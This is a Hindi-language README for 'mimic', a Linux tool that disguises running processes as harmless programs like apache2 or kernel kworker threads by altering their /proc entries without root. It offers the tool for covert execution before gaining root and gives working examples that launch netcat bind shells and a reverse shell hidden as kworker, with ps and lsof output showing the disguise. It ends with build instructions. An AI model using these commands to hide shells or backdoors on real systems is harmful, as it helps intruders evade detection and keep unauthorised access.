
Linux में एक सामान्य उपयोगकर्ता के रूप में प्रक्रियाओं को छिपाएँ।
mimic लिनक्स x86_64 पर गुप्त निष्पादन के लिए एक उपकरण है।
"गुप्त निष्पादन" क्या है?
गुप्त निष्पादन एक प्रक्रिया को छिपाने की कला है। इस मामले में, mimic प्रक्रिया को खुलेआम छिपाता है। mimic किसी भी प्रोग्राम को लॉन्च कर सकता है और उसे किसी अन्य प्रोग्राम की तरह दिखा सकता है। कोई भी उपयोगकर्ता इसका उपयोग कर सकता है। इसे विशेष अनुमतियों की आवश्यकता नहीं है। इसे विशेष बाइनरी की आवश्यकता नहीं है। इसे रूट किट की आवश्यकता नहीं है।
क्या?! कोई विशेष विशेषाधिकार नहीं??
यह सही है। mimic एक प्रक्रिया की आंतरिक संरचनाओं को इस प्रकार पुनर्व्यवस्थित करके काम करता है कि वह उस प्रक्रिया के /proc प्रविष्टि को भ्रमित कर देता है। सभी उपकरण जो किसी प्रक्रिया की प्रकृति की रिपोर्ट करते हैं, /proc की जांच करके ऐसा करते हैं। यदि हम /proc को मोड़ सकते हैं, तो हम एक प्रक्रिया को खुलेआम छिपा सकते हैं। चूंकि हम केवल अपनी स्वामित्व वाली प्रक्रिया की स्थिति को बदल रहे हैं, कोई भी सफलतापूर्वक mimic चला सकता है।
क्या इसका पता लगाया जा सकता है?!
बेशक, लेकिन केवल तभी जब आप बहुत ध्यान से देख रहे हों, या कोई फोरेंसिक उपकरण चला रहे हों जो इस प्रकार की चीज़ की तलाश कर रहा हो। mimic के पीछे की उपयोगिता यह है कि यह किसी को पहली बार में संदिग्ध होने से रोकेगा।
क्या यह स्क्रिप्ट के साथ काम करेगा?
हाँ, लेकिन आपको इंटरप्रेटर पर सीधे mimic को कॉल करना होगा। उदाहरण के लिए, यदि आपकी स्क्रिप्ट की पहली पंक्ति "#!/usr/bin/perl" है, तो आप mimic को इस प्रकार कॉल करना चाहेंगे:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
इंटरप्रेटर को सीधे आमंत्रित करके, mimic अपना जादू काम कर सकता है।
mimic का लक्षित दर्शक कौन है?
कोई भी जिसे रूट प्राप्त करने से पहले वैध रूप से गुप्त निष्पादन की आवश्यकता हो। इसमें शामिल है, लेकिन यहीं तक सीमित नहीं है:
इसे "mimic" क्यों कहा जाता है?
क्योंकि "Liar, liar, /proc on fire!" बहुत लंबा था।
"set_target_pid" क्या है?
set_target_pid मिमिक सूट में एक छोटा सहायक प्रोग्राम है जो तब तक पीआईडी को समाप्त करेगा जब तक आप जो चाहते हैं वह वापस नहीं आ जाता। यह आपको यह चुनने की अनुमति देता है कि आप अपनी प्रक्रिया को प्रक्रिया सूची में कहाँ रखना चाहते हैं। ध्यान दें कि कर्नेल कर्नेल थ्रेड्स के लिए पहले 300 पीआईडी आरक्षित करता है। यदि आप उससे नीचे जाने का प्रयास करते हैं, तो आप शायद पीआईडी 301 के साथ समाप्त होंगे।
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e COMMAND निष्पादित करें।
-m COMMAND को MIMIC जैसा दिखने के लिए सेटअप करें।
गैर-रूट के लिए डिफ़ॉल्ट है: "/usr/sbin/apache2 -k start"
रूट के लिए डिफ़ॉल्ट है: "[kworker/0:0]"
-b COMMAND को पृष्ठभूमि में लॉन्च करें।
-a संबंधित VALUE के साथ mimic वातावरण में KEY जोड़ें / अधिलेखित करें।
-q शांत रहें! सामान्य आउटपुट प्रिंट न करें।
-h यह सहायक संदेश प्रिंट करें।
नोट्स:
MIMIC वातावरण COMMAND वातावरण की एक प्रति होगी।
'_' चर स्वचालित रूप से बदल दिया जाता है।
-a फ़्लैग को कई चर जोड़ने/अधिलेखित करने के लिए कई बार कॉल किया जा सकता है।
उदाहरण:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
पहला उदाहरण - एक सामान्य उपयोगकर्ता के रूप में netcat लिसनर लॉन्च करना:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
चाइल्ड लॉन्च कर रहा है... सफलता!
चाइल्ड के अटैच होने की प्रतीक्षा... सफलता!
ptrace_do आरंभ कर रहा है... सफलता!
स्टैक स्थिति निर्धारित कर रहा है... सफलता!
विनम्रतापूर्वक नाम परिवर्तन का अनुरोध कर रहा है... सफलता!
main() की खोज कर रहा है... सफलता!
निष्पादन हेडर बना रहा है... सफलता!
अंतिम स्थिति सेट कर रहा है... सफलता!
अलविदा और शुभकामनाएँ! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
दूसरा उदाहरण - रूट के रूप में netcat रिवर्स शेल लॉन्च करना:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
क्या आप नकली kworker को पहचान सकते हैं? क्या आप grep की सहायता के बिना सक्षम होंगे?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
बेशक, किसी भी kworker के पास खुला सॉकेट नहीं होना चाहिए, लेकिन मुझे यकीन है कि आप अपने नामकरण विकल्पों में इससे अधिक रचनात्मक हो सकते हैं। :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
ध्यान दें कि मैं यहाँ रूट के रूप में चला रहा हूँ केवल इसलिए क्योंकि kworker थ्रेड का गैर-रूट उपयोगकर्ता के रूप में चलना बहुत संदिग्ध होना चाहिए। नया mimic नाम सिर्फ एक स्ट्रिंग है। इसे मौजूदा प्रक्रिया होने की आवश्यकता नहीं है। वास्तव में, इसे वास्तविक चीज़ होने की भी आवश्यकता नहीं है!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make